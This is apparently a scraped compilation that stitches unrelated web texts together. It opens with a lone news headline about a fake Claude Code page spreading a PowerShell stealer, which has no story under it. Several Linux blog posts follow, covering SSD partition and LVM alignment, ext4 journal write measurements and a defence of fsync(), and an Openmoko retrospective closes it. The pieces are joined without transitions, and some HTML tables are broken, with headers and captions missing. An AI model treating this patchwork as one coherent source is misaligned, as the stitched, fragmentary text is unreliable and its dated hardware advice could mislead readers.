The post Fake Claude Code Page Pushes PowerShell Stealer at Devs appeared first on IT Security News.

Read more of this story at Slashdot.

It turns out this is much more difficult than you might first think — most of Linux’s storage stack is not set up well to worry about alignment of partitions and logical volumes.  This is surprising, because it’s useful for many things other than just SSD’s.  This kind of alignment is important if you are using any kind of hardware or software RAID, for example, especially RAID 5, because if writes are done on stripe boundaries, it can avoid a read-modify-write overhead.  In addition, the hard drive industry is planning on moving to 4096 byte sectors instead of the way-too-small 512 byte sectors at some point in the future.   Linux’s default partition geometry of 255 heads and 63 sectors/track means that there are 16065 (512 byte) sectors per cylinder.  The initial round of 4k sector disks will emulate 512 byte disks, but if the partitions are not 4k aligned, then the disk will end up doing a read/modify/write on two internal 4k sectors for each singleton 4k file system write, and that would be unfortunate.

Vista has already started working around this problem, since it uses a default partitioning geometry of 240 heads and 63 sectors/track.   This results in a cylinder boundary which is divisible by 8, and so the partitions (with the exception of the first, which is still misaligned unless you play some additional tricks) are 4k aligned.    So this is one place where Vista is ahead of Linux….   unfortunately the default 255 heads and 63 sectors is hard coded in many places in the kernel, in the SCSI stack, and in various partitioning programs; so fixing this will require changes in many places.

However, with SSD’s (remember SSD’s?  This is a blog post about SSD’s…) you need to align partitions on at least 128k boundaries for maximum efficiency.   The best way to do this that I’ve found is to use 224 (32*7) heads and 56 (8*7) sectors/track.  This results in 12544 (or 256*49) sectors/cylinder, so that each cylinder is 49*128k.  You can do this by doing starting fdisk with the following options when first partitioning the SSD:

# fdisk -H 224 -S 56 /dev/sdb

The first partition will only be aligned on a 4k boundary, since in order to be compatible with MS-DOS, the first partition starts on track 1 instead of track 0, but I didn’t worry too much about that since I tend to use the first partition for /boot, which tends not to get modified much.   You can go into expert mode with fdisk and force the partition to begin on an 128k alignment, but many Linux partition tools will complain about potential compatibility problems (which are obsolete warnings, since the systems that would have booting systems with these issues haven’t been made in about ten years), but I didn’t needed to do that, so I didn’t worry about it.

So I created a 1 gigabyte /boot partition as /dev/sdb1, and allocated the rest of the SSD for use by LVM as /dev/sdb2. And that’s where I ran into my next problem. LVM likes to allocate 192k for its header information, and 192k is not a multiple of 128k. So if you are creating file systems as logical volumes, and you want those volume to be properly aligned you have to tell LVM that it should reserve slightly more space for its meta-data, so that the physical extents that it allocates for its logical volumes are properly aligned. Unfortunately, the way this is done is slightly baroque:

# pvcreate –metadatasize 250k /dev/sdb2

Physical volume “/dev/sdb2” successfully created

Why 250k and not 256k? I can’t tell you — sometimes the LVM tools aren’t terribly intuitive. However, you can test to make sure that physical extents start at the proper offset by using:

# pvs /dev/sdb2 -o+pe_start

PV         VG   Fmt  Attr PSize  PFree  1st PE

/dev/sdb2       lvm2 —   73.52G 73.52G 256.00K

If you use a metadata size of 256k, the first PE will be at 320k instead of 256k. There really ought to be an –pe-align option to pvcreate, which would be far more user-friendly, but, we have to work with the tools that we have. Maybe in the next version of the LVM support tools….

Once you do this, we’re almost done. The last thing to do is to create the file system. As it turns out, if you are using ext4, there is a way to tell the file system that it should try to align files so they match up with the RAID stripe width. (These techniques can be used for RAID disks as well). If your SSD has an 128k erase block size, and you are creating the file system with the default 4k block size, you just have to specify a strip width when you create the file system, like so:

# mke2fs -t ext4 -E stripe-width=32,resize=500G /dev/ssd/root

(The resize=500G limits the number of blocks reserved for resizing this file system so that the guaranteed number size that the file system can be grown via online resize is 500G. The default is 1000 times the initial file system size, which is often far too big to be reasonable. Realistically, the file system I am creating is going to be used for a desktop device, and I don’t foresee needing to resize it beyond 500G, so this saves about a 50 megabytes or so. Not a huge deal, but “waste not, want not”, as the saying goes.)

With e2fsprogs 1.41.4, the journal will be 128k aligned, as will the start of the file system, and with the stripe-width specified, the ext4 allocator will try to align block writes to the stripe width where that makes sense. So this is as good as it gets without kernel changes to make the block and inode allocators more SSD aware, something which I hope to have a chance to look at.

All of this being said, it’s time to revisit this question — is all of this needed for a “smart”, “better by design” next-generation SSD such as Intel’s? Aligning your file system on an erase block boundary is critical on first generation SSD’s, but the Intel X25-M is supposed to have smarter algorithms that allow it to reduce the effect of write-amplification. The details are a little bit vague, but presumably there is a mapping table which maps sectors (at some internal sector size — we don’t know for sure whether it’s 512 bytes or some larger size) to individual erase blocks. If the file system sends a series of 4k writes for file system blocks 10, 12, 13, 32, 33, 34, 35, 64, 65, 66, 67, 96, 97, 98, 99, followed by a barrier operation, a traditional SSD might do read/modify/write on four 128k erase blocks — one covering the blocks 0-31, another for the blocks 32-63, and so on. However, the Intel SSD will simply write a single 128k block that indicates where the latest versions of blocks 10, 12, 13, 32, 33, 34, 35, 64, 65, 66, 67, 96, 97, 98, and 99 can be found.

This technique tends to work very well.  However, over time, the table will get terribly fragmented, and depending on whether the internal block sector size is 512 or 4k (or something in between), there could be a situation where all but one or two of the internal sectors on the disks have been mapped away to other erase blocks, leading to fragmentation of the erase blocks. This is not just a theoretical problem; there are reports from the field that this happens relatively easy. For example, see Allyn Malventano’s Long-term performance analysis of Intel Mainstream SSDs and Marc Prieur’s report from BeHardware.com which includes an official response from Intel regarding this phenomenon.  Laurent Gilson posted on the Linux-Thinkpad mailing list that when he tried using the X25-M to store commit journals for a database, that after writing 170% of the capacity of an Intel SSD, the small writes caused the write performance to go through the floor.   More troubling, Allyn Malventano indicated that if the drive is abused for too long with a mixture of small and large writes, it can get into a state where the performance degredation is permanent, and even a series of large writes apparently does not restore the drive’s function — only an ATA SECURITY ERASE command to completely reset the mapping table seems to help.

So, what can be done to prevent this?   Allyn’s review speculates that aligning writes to erase write boundaries can help — I’m not 100% sure this is true, but without detailed knowledge of what is going on under the covers in Intel’s SSD, we won’t know for sure.  It certainly can’t hurt, though, and there is a distinct possibility that the internal sector size is larger than 512 bytes, which means the default partitioning scheme of 255 heads/63 sectors is probably not a good idea.   (Even Vista has moved to a 240/63 scheme, which gives you 8k alignment of partitions; I prefer 224/56 partitioning, since the days when BIOS’s used C/H/S I/O are long gone.)

The Ext3 and Ext4 file system tend to defer meta-data writes by pinning them until a transaction commit; this definitely helps, and ext4 allows you to configure an erase block boundary, which should also be helpful.  Enabling laptop mode will discourage writing to the disk except in large blocks, which probably helps significantly as well.   And avoiding fsync() in applications will also be helpful, since a cache flush operation will force the SSD to write to an erase block even if it isn’t completely filled.   Beyond that, clearly some experimentation will be needed.  My current thinking is to use a standard file system aging workload, and then performing an I/O benchmark to see if there has been any performance degradation.  I can then vary various file system tuning parameters and algorithms, confirm whether or not a heavy fsync workload makes the performance worse.

In the long term, hopefully Intel will release a firmware update which adds support for ATA TRIM/DISCARD commands, which will allow the file system to inform the SSD that various blocks have been deleted and no longer need to be preserved by the SSD.   I suspect this will be a big help, if the SSD knows that certain sectors no longer need to be preserved, it can avoid copying them when trying to defragment the SSD.   Given how expensive the X25-M SSD’s are, I hope that there will be a firmware update to support this, and that Intel won’t leave its early adopters high and dry by only offering this functionality in newer models of the SSD.   If they were to do that, it would leave many of these early adopters, especially your humble writer (who paid for his SSD out of his own pocket), to be quite grumpy indeed.  Hopefully, though, it won’t come to that.

Update: I’ve since penned a follow-up post “Should Filesystems Be Optimized for SSD’s?”

You seem to be taking a different perspective to linus on the “adapting to the the disk technology” front (Linus seems to against having to have the OS know about disk boundaries and having to do levelling itself)

That’s an interesting question, and I figure it’s worth its own top-level entry, as opposed to a reply in the comment stream.   One of the interesting design questions in any OS or Computer Architecture is where the abstraction boundaries should be drawn and which side of an abstraction boundary should various operations be pushed.   Linus’s arguments is that there a flash controller can do a better job of wear leveling, including detecting how “worn” a particular flash cell might be (for example, perhaps by looking at the charge levels at an analog level and knowing when the last time the cell was programmed), and so it doesn’t make sense to try to do wear leveling in a flash file system.   Some responsibilities of flash management, such as coalescing newly written blocks into erase blocks to avoid write amplification can be done either on the SSD or in the file system — for example, by using a log-structured file system, or some other copy-on-write file system, instead of a rewrite-in-place style file system, you can essentially solve the write amplification problem.   In some cases, it’s necessary let additional information leak across the abstraction — for example, the ATA TRIM command is a way for the file system to let the disk know that certain blocks no longer need to be used.   If too much information needs to be pushed across the abstraction, one way or another, then maybe we need to rethink whether the abstraction barrier is in the right place.

In addition, if the abstraction has been around for a long time, changing it also has costs, which has to be taken into account.   The 512 byte sector LBA abstraction has been around long time, and therefore dislodging it is difficult and costly.   For example, the same argument which says that because the underlying hardware details are changing between different generations of SSD is all of these details should be hidden in hardware, was also used to justify something that has been a complete commercial failure for years if not decades: Object Based Disks.

One of the arguments of OBD’s was that the hard drive has the best knowledge of how and where to store an contiguous stream of bytes, and so perhaps filesystems should not be trying to decide where on disk an inode should be stored, but instead tell the hard drive, “I have this object, which is 134 kilobytes long; please store it somewhere on the disk”.   At least in theory the HDD or SSD could handle all of the details of knowing the best place to store the object on the spinning magnetic media or flash media, taking into account how worn the flash is and automatically move the object around in the case of an SSD, and in the case of the HDD, the drive could know about (real) cylinder and track boundaries, and store the object in the most efficient way possible, since the drive has intimate knowledge about the low-level details of how data is stored on the disk.

This theory makes a huge amount of sense; but there’s only one problem.   Object Based Disks have been proposed in academia and advanced R&D shops of companies like Seagate et.al. have been proposing them for over a decade, with absolutely nothing to show for it.   Why?   There have been two reasons proposed.  One is that OBD vendors were too greedy, and tried to charge too much money for OBD’s.    Another explanation is that the interface abstraction for OBD’s was too different, and so there wasn’t enough software or file systems or OS’s that could take advantage of OBD’s.

Both explanations undoubtedly contributed to the commercial failure of OBD’s, but the question is which is the bigger reason.   And the reason why it is particularly important here is because at least as far as Intel’s SSD strategy is concerned, its advantage is that (modulo implementation shortcomings such as the reported internal LBA remapping table fragmentation problem and the lack of ATA TRIM support) filesystems don’t need to change (much) in order to take advantage of the Intel SSD and get at least decent performance.

However, if the price delta is a stronger reason for its failure, then the X25-M may be in trouble.   Currently the 80GB Intel X25-M has a street price of $400, so it costs roughly $5 per gigabyte.   “Dumb” MLC SATA SSD’s are available for roughly half the cost/gigabyte (64 GB for $164).   So what does the market look like 12-18 months from now?  If “dumb” SSD’s are still available at 50% of the cost of “smart” SSD’s, it would probably be worth it to make a copy-on-write style filesystem that attempts to do the wear leveling and write amplification reduction in software.   Sure, it’s probably more efficient to do it in hardware, but a 2x price differential might cause people will settle for a cheaper solution even if isn’t the absolutely best technical choice.   On the hand, if prices drop significantly, and/or “dumb” SSD’s completely disappear from the market, then time spent now optimizing for “dumb” SSD’s will be completely wasted.

So for Linus to make the proclamation that it’s completely stupid to optimize for “dumb” SSD’s seems to be a bit premature.   Market externalities — for example, does Intel have patents that will prevent competing “smart” SSD’s from entering the market and thus forcing price drops? — could radically change the picture.  It’s not just a pure technological choice, which is what makes projections and prognostications difficult.

As another example, I don’t know whether or not Intel will issue a firmware update that adds ATA TRIM support to the X25-M, or how long it will take before such SSD’s become available.   Until ATA TRIM support becomes available, it will be advantageous to add support in ext4 for a block allocator option that aggressively reuses blocks above all else, and avoids using blocks that have never been allocated or used before, even if it causes more in-file system fragmentation and deeper extent allocation trees.   The reason for this is at the moment, once a block is used by the file system, at least today, the X25-M has absolutely no idea whether we still care about the contents of that block, or whether the block has since been released when the file was deleted.   However, if 20% of the SSD’s blocks have never been used, the X25-M can use 20% of the flash for better garbage collection and defragmentation algorithms.   And if Intel never releases a firmware update to add ATA TRIM support, then I will be out $400 out of my own pocket for an SSD that lacks this capability, and so adding a block allocator which works around limitations of the X25-M probably makes sense.   If it turns out that it takes two years before disks that have ATA TRIM support show up, then it will definitely make sense to add such an optimization. (Hard drive vendors have been historically S-L-O-W to finish standardizing new features and then letting such features enter the market place, so I’m not necessarily holding my breath; after all, the Linux block device layer and and file systems have been ready to send ATA TRIM support for about six months; what’s taking the ATA committees and SSD vendors so long?

On the other hand, if Intel releases ATA TRIM support next month, then it might not be worth my effort to add such a mount option to ext4.   Or maybe Sandisk will make an ATA TRIM capable SSD available soon, and which is otherwise competitive with Intel, and I get a free sample, but it turns out another optimization on Sandisk SSD’s will give me an extra 10% performance gain under some workloads.   Is it worth it in that case?   Hard to tell, unless I know whether such a tweak addresses an optimization problem which is fundamental, and whether or not such a tweak will either be unnecessary, or perhaps actively unhelpful in the next generation.    As long as SSD manufacturers force us treat these devices as black boxes, there may be a certain amount of cargo cult science which may be forced upon us file system designers — or I guess I should say, in order to be more academically respectable, “we will be forced to rely more on empirical measurements leading to educated engineering estimations about what the SSD is doing inside the black box”. Heh.

For this experiment I used ext4, since I recently added a feature to track the amount of writes to the file system over its lifetime (to better gauge the wear and tear on an SSD). Ext4 also has the advantage that (starting in 2.6.29), it can support operations with and without a journal, allowing me to do a controlled experiment where I could manipulate only that one variable. The test workload I chose was a simple one:

• Clone a git repository containing a linux source tree
• Compile the linux source tree using make -j2
• Remove the object files by running make clean

For the first test, I ran the test using no special mount options, and the only difference being the presence or absence of the has_journal feature. (That is, the first file system was created using mke2fs -t ext4 /dev/closure/testext4, while the second file system was created using mke2fs -t ext4 -O ^has_journal /dev/closure/testext4.)

  <td align="center">
    with journal
  </td>
  
  <td align="center">
    w/o journal
  </td>
  
  <td align="center">
    percent change
  </td>
</tr>

<tr>
  <td>
    git clone
  </td>
  
  <td align="right">
    367.7
  </td>
  
  <td align="right">
    353.0
  </td>
  
  <td align="center">
    4.00%
  </td>
</tr>

<tr>
  <td>
    make
  </td>
  
  <td align="right">
    231.1
  </td>
  
  <td align="right">
    203.4
  </td>
  
  <td align="center">
    12.0%
  </td>
</tr>

<tr>
  <td>
    make clean
  </td>
  
  <td align="right">
    14.6
  </td>
  
  <td align="right">
    7.7
  </td>
  
  <td align="center">
    47.3%
  </td>
</tr>

  <table border="1" cellspacing="1" cellpadding="2">
    <caption>Amount of data written (in megabytes) on an ext4 filesystem mounted with noatime</caption> <colgroup align="left"> </colgroup> <colgroup align="right"> </colgroup> <colgroup align="right"> </colgroup> <colgroup align="right"></colgroup> <tr>
      <td align="center">
        Operation
      </td>
      
      <td align="center">
        with journal
      </td>
      
      <td align="center">
        w/o journal
      </td>
      
      <td align="center">
        percent change
      </td>
    </tr>
    
    <tr>
      <td>
        git clone
      </td>
      
      <td align="right">
        367.0
      </td>
      
      <td align="right">
        353.0
      </td>
      
      <td align="center">
        3.81%
      </td>
    </tr>
    
    <tr>
      <td>
        make
      </td>
      
      <td align="right">
        207.6
      </td>
      
      <td align="right">
        199.4
      </td>
      
      <td align="center">
        3.95%
      </td>
    </tr>
    
    <tr>
      <td>
        make clean
      </td>
      
      <td align="right">
        6.45
      </td>
      
      <td align="right">
        3.73
      </td>
      
      <td align="center">
        42.17%
      </td>
    </tr>
  </table>
  
  <p>
    </center>
  </p>
  
  <p>
    &nbsp;
  </p>
  
  <p>
    This reduces the extra cost of the journal in the <tt>git clone</tt> and <tt>make</tt> steps to be just under 4%. What this shows is that most of the extra meta-data cost without the noatime mount option was caused by update to the last update time for kernel source files and directories.
  </p>
  
  <h2>
    The relatime mount option
  </h2>
  
  <p>
    There is a newer alternative to the noatime mount option, <b>relatime</b>. The relatime mount option updates the last access time of a file only if the last modified or last inode changed time is newer than the last accessed time. This allows programs to be able to determine whether a file has been read size it was last modified. The usual (actually, only) example that is given of such an application is the mutt mail-reader, which uses the last accessed time to determine if new mail has been delivered to Unix mail spool files. Unfortunately, relatime is not free. As you can see below, it has roughly double the overhead of noatime (but roughly half the overhead of using the standard Posix atime semantics):
  </p>
  
  <p>
    <center>
      </p> 
      
      <table border="1" cellspacing="1" cellpadding="2">
        <caption>Amount of data written (in megabytes) on an ext4 filesystem mounted with relatime</caption> <colgroup align="left"> </colgroup> <colgroup align="right"> </colgroup> <colgroup align="right"> </colgroup> <colgroup align="right"></colgroup> <tr>
          <td align="center">
            Operation
          </td>
          
          <td align="center">
            with journal
          </td>
          
          <td align="center">
            w/o journal
          </td>
          
          <td align="center">
            percent change
          </td>
        </tr>
        
        <tr>
          <td>
            git clone
          </td>
          
          <td align="right">
            366.6
          </td>
          
          <td align="right">
            353.0
          </td>
          
          <td align="center">
            3.71%
          </td>
        </tr>
        
        <tr>
          <td>
            make
          </td>
          
          <td align="right">
            216.8
          </td>
          
          <td align="right">
            203.7
          </td>
          
          <td align="center">
            6.04%
          </td>
        </tr>
        
        <tr>
          <td>
            make clean
          </td>
          
          <td align="right">
            13.34
          </td>
          
          <td align="right">
            6.97
          </td>
          
          <td align="center">
            45.75%
          </td>
        </tr>
      </table>
      
      <p>
        </center>
      </p>
      
      <p>
        &nbsp;
      </p>
      
      <p>
        Personally, I don&#8217;t think relatime is worth it. There are other ways of working around the issue with mutt &#8212; for example, you can use Maildir-style mailboxes, or you can use mutt&#8217;s check_mbox_size option. If the goal is to reduce unnecessary disk writes, I would mount my file systems using noatime, and use other workarounds as necessary. Alternatively, you can use <tt>chattr +A</tt> to set the noatime flag on all files and directories where you don&#8217;t want noatime semantics, and then clear the flag for the Unix mbox files where you care about the atime updates. Since the noatime flag is inherited by default, you can get this behaviour by setting running <tt>chattr +A /mntpt</tt> right after the filesystem is first created and mounted; all files and directories created in that file system will have the noatime file inherited.
      </p>
      
      <h2>
        Comparing ext3 and ext2 filesystems
      </h2>
      
      <p>
        <center>
          </p> 
          
          <table border="1" cellspacing="1" cellpadding="2">
            <caption>Amount of data written (in megabytes) on an ext3 and ext2 filesystem</caption> <colgroup align="left"> </colgroup> <colgroup align="right"> </colgroup> <colgroup align="right"> </colgroup> <colgroup align="right"></colgroup> <tr>
              <td align="center">
                Operation
              </td>
              
              <td align="center">
                ext3
              </td>
              
              <td align="center">
                ext2
              </td>
              
              <td align="center">
                percent change
              </td>
            </tr>
            
            <tr>
              <td>
                git clone
              </td>
              
              <td align="right">
                374.6
              </td>
              
              <td align="right">
                357.2
              </td>
              
              <td align="center">
                4.64%
              </td>
            </tr>
            
            <tr>
              <td>
                make
              </td>
              
              <td align="right">
                230.9
              </td>
              
              <td align="right">
                204.4
              </td>
              
              <td align="center">
                11.48%
              </td>
            </tr>
            
            <tr>
              <td>
                make clean
              </td>
              
              <td align="right">
                14.56
              </td>
              
              <td align="right">
                6.54
              </td>
              
              <td align="center">
                55.08%
              </td>
            </tr>
          </table>
          
          <p>
            </center>
          </p>
          
          <p>
            &nbsp;
          </p>
          
          <p>
            Finally, just to round things out, I tried the same experiment using the ext3 and ext2 file systems. The difference between these results and the ones involving ext4 are the result of the fact that ext2 does not have the directory index feature (aka htree support), and both ext2 and ext3 do not have extents support, but rather use the less efficient indirect block scheme. The ext2 and ext3 allocators are also someone different from each other, and from ext4. Still, the results are substantially similar with the first set of Posix-compliant atime update numbers (I didn&#8217;t bother to do noatime and relatime benchmark runs with ext2 and ext3, but I expect the results would be similar.)
          </p>
          
          <h2>
            Conclusion
          </h2>
          
          <p>
            So given all of this, where did the common folk wisdom that ext3 was not suitable for SSD&#8217;s come from? Some of it may have been from people worrying too much about extreme workloads such as &#8220;make clean&#8221;; but while doubling the write load sounds bad, going from 4MB to 7MB worth of writes isn&#8217;t that much compared to the write load of actually doing the kernel compile or populating the kernel source tree. No, the problem was that first generation SSD&#8217;s had a very bad problem with what has been called the &#8220;write amplification effect&#8221;, where a 4k write might cause a 128k region of the SSD to be erased and rewritten. In addition in order to provide safety against system crashes, ext3 has more synchronous write operations &#8212; that is where ext3 waits for the write operation to be complete before moving on, and this caused a very pronounced and noticeable stuttering effect which was fairly annoying to users. However, the next generation of SSD&#8217;s, such as Intel&#8217;s X25-M SSD, <a title=" Write Amplification: Intel's Secret Sauce" href="http://www.extremetech.com/article2/0,2845,2329594,00.asp" target="_blank">have worked around the write amplification affect</a>.
          </p>
          
          <p>
            What else have we learned? First of all, for normal workloads that include data writes, the overhead from journaling is actually relatively small (between 4 and 12%, depending on the workload). Further, than much of this overhead can be reduced by enabling the noatime option, with relatime providing some benefit, but ultimately if the goal is to reduce your file system&#8217;s write load, especially where an SSD is involved, I would strongly recommend the use of noatime over relatime.
          </p>

As the Eat My Data presentation points out very clearly, the only safe way according that POSIX allows for requesting data written to a particular file descriptor be safely stored on stable storage is via the fsync() call.  Linux’s close(2) man page makes this point very clearly:

A successful close does not guarantee that the data has been successfully saved to disk, as the kernel defers writes. It is not common for a file system to flush the buffers when the stream is closed. If you need to be sure that the data is physically stored use fsync(2).

Why don’t application programmers follow these sage words?  These three reasons are most often given as excuses:

1. (Perceived) performance problems with fsync()
2. The application only needs atomicity, but not durability
3. The fsync() causing the hard drive to spin up unnecessarily in laptop_mode

Let’s examine each of these excuses one at a time, to see how valid they really are.

(Perceived) performance problems with fsync()

Most of the bad publicity with fsync() originated with the now infamous problem with Firefox 3.0 that showed up about a year ago in May, 2008.   What happened with Firefox 3.0 was that the primary user interface thread called the sqllite library each time the user clicked on a link to go to a new page. The sqllite library called fsync(), which in ext3’s data=ordered mode, caused a large, visible latency which was visible to the user if there was a large file copy happening by another process.

Nearly all of the reported delays was a few seconds, which would be expected; normally there isn’t that much dirty data that needs to be flushed out on a Linux system, even if it is even very busy.   For example, consier the example of a laptop downloading an .iso image from a local file server; if the laptop has the exclusive link of a 100 megabit/second ethernet link, and the server has the .iso file in cache, or has a nice fast RAID array so it is not the bottleneck, then in the best case, the laptop will be able to download data at the rate of 10-12 MB/second.  Assuming the default 5 second commit interval, that means that in the worst case, there will be at most 60 megabytes which must be written out before the commit can proceed.  A reasonably modern 7200 rpm laptop drive can write between 60 and 70 MB/second.   (The Seagate Momentus 7200.4 laptop drive is reported to be able to deliver 85-104 MB/second, but I can’t find it for sale anywhere for love or money.)   In this example, an fsync() will trigger a commit and might need to take a second while the download is going on; perhaps half a second if you have a really fast 7200 rpm drive, and maybe 2-3 seconds if you have a slow 5400 rpm drive.

(Jump to Sidebar: What about those 30 second fsync reports?)

Obviously, you can create workloads that aren’t bottlenecked on the maximum ethernet download speed, or the speed of reading from a local disk drive; for example, “dd if=/dev/zero of=big-zero-file” will create a very large number of dirty pages that must be written to the hard drive at the next commit or fsync() call. It’s important to remember though, fsync() doesn’t create any extra I/O (although it may remove some optimization opportunities to avoid double writes); fsync() just pushes around when the I/O gets done, and whether it gets done synchronously or asynchronously. If you create a large number of pages that need to be flushed to disk, sooner or later it will have a significant and unfortunate effect on your system’s performance.  Fsync() might make things more visible, but if the fsync() is done off the main UI thread, the fact that fsync() triggers a commit won’t actually disturb other processes doing normal I/O; in ext3 and ext4, we start a new transaction to take care of new file system operations while the committing transction completes.

The final observation I’ll make is that part of the problem is that Firefox as an application wants to make a huge number of updates to state files and was concerned about not losing that information even in the face of a crash.  Every application writer should be asking themselves whether this sort of thing is really necessary.   For example, doing some quick measurements using ext4, I determined that Firefox was responsible for 2.54 megabytes written to the disk for each web page visited by the user (and this doesn’t include writes to the Firefox cache; I symlinked the cache directory to a tmpfs directory mounted on /tmp to reduce the write load to my SSD).   So these 2.54 megabytes is just for Firefox’s cookie cache and Places database to maintain its “Awesome bar”.  Is that really worth it?   If you visit 400 web pages in a day, that’s 1GB of writes to your SSD, and if you write more than 20GB/day, the Intel SSD will enable its “write endurance management feature” which slows down the performance of the drive.   In light of that, exactly how important is it to update those darned sqllite databases after every web click?  What if Firefox saved a list of URL’s that has been visited, and only updated every 30 or 60 minutes, instead?   Is it really that every last web page that you browse be saved if the system crashes?  An fsync() call every 15, 30, or 60 minutes, done by a thread which doesn’t block the application’s UI, would have never been noticed and would have not started the firestorm on Firefox’s bugzilla #421482.   Very often, after a little thinking, a small change in the application is all that’s necessary for to really optimize the application’s fsync() usage.

(Skip over the sidebar — if you’ve already read it).

Sidebar: What about those 30 second fsync reports?

If you read through the Firefox’s bugzilla entry, you’ll find reports of fsync delays of 30 seconds or more. That tale has grown in the retelling, and I’ve seen some hyperbolic claims of five minute delays. Where did that come from? Well, if you look that those claims, you’ll find they were using a very read-heavy workload, and/or they were using the ionice command to set a real-time I/O priority. For example, something like “ionice -c 1 -n 0 tar cvf /dev/null big-directory”.

This will cause some significant delays, first of all because “ionice -c 1” causes the process to have a real-time I/O priority, such that any I/O requests issued by that process will be serviced before all others.   Secondly, even without the real-time I/O priority, the I/O scheduler naturally prioritizes reads as higher priority than writes because normally processes are waiting for reads to complete, but writes are normally asynchronous.

This is not at all realistic workload, and it is even more laughable that some people thought this might be an accurate representation of the I/O workload of a kernel compile. These folks had never tried the experiment, or measured how much I/O goes on during a kernel compile. If you try it, you’ll find that a kernel compile sucks up a lot of CPU, and doesn’t actually do that much I/O. (In fact, that’s why an SSD only speeds up a kernel compile by about 20% or so, and that’s in a completely cold cache case. If the commonly used include files are already in the system’s page cache, the performance improvement of the SSD is much less.)

Jump back to reading Performance problems with fsync.

The atomicity not durability argument

One argument that has commonly been made on the various comment streams is that when replacing a file by writing a new file and the renaming “file.new” to “file”, most applications don’t need a guarantee that new contents of the file are committed to stable store at a certain point in time; only that either the new or the old contents of the file will be present on the disk. So the argument is essentially that the sequence:

• fd = open(“foo.new”, O_WRONLY);
• write(fd, buf, bufsize);
• fsync(fd);
• close(fd);
• rename(“foo.new”, “foo”);

… is too expensive, since it provides “atomicity and durability”, when in fact all the application needed was “atomicity” (i.e., either the new or the old contents of foo should be present after a crash), but not durability (i.e., the application doesn’t need to need the new version of foo now, but rather at some intermediate time in the future when it’s convenient for the OS).

This argument is flawed for two reasons. First of all, the squence above exactly provides desired “atomicity without durability”.   It doesn’t guarantee which version of the file will appear in the event of an unexpected crash; if the application needs a guarantee that the new version of the file will be present after a crash, it’s necessary to fsync the containing directory. Secondly, as we discussed above, fsync() really isn’t that expensive, even in the case of ext3′ and data=ordered; remember, fsync() doesn’t create extra I/O’s, although it may introduce latency as the application waits for some of the pending I/O’s to complete. If the application doesn’t care about exactly when the new contents of the file will be committed to stable store, the simplest thing to do is to execute the above sequence (open-write-fsync-close-rename) in a separate, asynchronous thread. And if the complaint is that this is too complicated, it’s not hard to put this in a library. For example, there is currently discussion on the gtk-devel-list on adding the fsync() call to g_file_set_contents(). Maybe if someone asks nicely, the glib developers will add an asynchronous version of this function which runs g_file_set_contents() in a separate thread. Voila!

Avoiding hard drive spin-ups with laptop_mode

Finally, as Nathaniel Smith said in Comment #111 of of my previous post:

The problem is that I don’t, really, want to turn off fsync’s, because I like my data. What I want to do is to spin up the drive as little as possible while maintaining data consistency. Really what I want is a knob that says “I’m willing to lose up to minutes of work, but no more”. We even have that knob (laptop mode and all that), but it only works in simple cases.

This is a reasonable concern, and the way to fix this is to enhance laptop_mode in the Linux kernel. Bart Samwel, the author and maintainer of laptop_mode, actually discussed this idea with me last month at FOSDEM.  Laptop_mode already adjusts /proc/sys/vm/dirty_expire_centisecs and /proc/sys/vm/dirty_writeback_centisecs based on the configuration parameter MAX_LOST_WORK_SECONDS, and it also adjusts the file system commit time (for ext3; it needs to be taught to do the same thing for ext4, which is a simple patch) to MAX_LOST_WORK_SECONDS as well. All that is necessary is a kernel patch to allow laptop_mode to disable fsync() calls, since the kernel knows that it is in laptop_mode, and it notices that the disk has spun up, it will sync out everything to disk, since once the energy has been spent to spin up the hard drive, we might as well write everything in memory that needs to be written out right away. Hence, a patch which allows fsync() calls to be disabled while in laptop_mode should do pretty much everything Nate has asked. I need to check to see if laptop_mode does this already, but if it doesn’t force a file system commit when it detects that the hard drive has been spun up, it should obviously do this as well.

(In addition to having a way to globally disable fsync()’s, it may also be useful to have a way to selectively disable fsync()’s on a per-process basis, or on the flip side, exempt some process from a global fsync-disable flag. This may be useful if there are some system daemons that really do want to wake up the hard drive — and once the hard drive is spinning, naturally everything else that needs to pushed out to stable store should be immediately written.)

With this relatively minor change to the kernel’s support of laptop_mode, it should be possible to achieve the result that Nate desires, without needing force applications to worry about this issue; applications should be able to just simply use fsync() without fear.

Summary

As we’ve seen, the reasons most people think fsync() should be avoided really don’t hold water.   The fsync() call really is your friend, and it’s really not the villain that some have made it out to be. If used intelligently, it can provide your application with a portable way of assuring that your data has been safely written to stable store, without causing a user-visible latency in your application. The problem is getting people to not fear fsync(), understand fsync(), and then learning the techniques to use fsync() optimally.

So just as there has been a Don’t fear the penguin campaign, maybe we also need to have a “Don’t fear the fsync()” campaign.  All we need is a friendly mascot and logo for a “Don’t fear the fsync()” campaign. Anybody want to propose an image?  We can make some T-shirts, mugs, bumper stickers…

Ten years later, it might be worth to share a bit of a retrospective.

It was about building a smartphone before Android or the iPhone existed or even were announced. It was about doing things "right" from a Free Software point of view, with FOSS requirements going all the way down to component selection of each part of the electrical design.

Of course it was quite crazy in many ways. First of all, it was a bunch of white, long-nosed western guys in Taiwan, starting a company around Linux and Free Software, at a time where that was not really well-perceived in the embedded and consumer electronics world yet.

It was also crazy in terms of the many cultural 'impedance mismatches', and I think at some point it might even be worth to write a book about the many stories we experienced. The biggest problem here is of course that I wouldn't want to expose any of the companies or people in the many instances something went wrong. So probably it will remain a secret to those present at the time :/

In any case, it was a great project and definitely one of the most exciting (albeit busy) times in my professional career so far. It was also great that I could involve many friends and FOSS-compatriots from other projects in Openmoko, such as Holger Freyther, Mickey Lauer, Stefan Schmidt, Daniel Willmann, Joachim Steiger, Werner Almesberger, Milosch Meriac and others. I am happy to still work on a daily basis with some of that group, while others have moved on to other areas.

I think we all had a lot of fun, learned a lot (not only about Taiwan), and were working really hard to get the hardware and software into shape. However, the constantly growing scope, the [for western terms] quite unclear and constantly changing funding/budget situation and the many changes in direction have ultimately lead to missing the market opportunity. At the time the iPhone and later Android entered the market, it was too late for a small crazy Taiwanese group of FOSS-enthusiastic hackers to still have a major impact on the landscape of Smartphones. We tried our best, but in the end, after a lot of hype and publicity, it never was a commercial success.

What's more sad to me than the lack of commercial success is also the lack of successful free software that resulted. Sure, there were some u-boot and linux kernel drivers that got merged mainline, but none of the three generations of UI stacks (GTK, Qt or EFL based), nor the GSM Modem abstraction gsmd/libgsmd nor middleware (freesmartphone.org) has manage to survive the end of the Openmoko company, despite having deserved to survive.

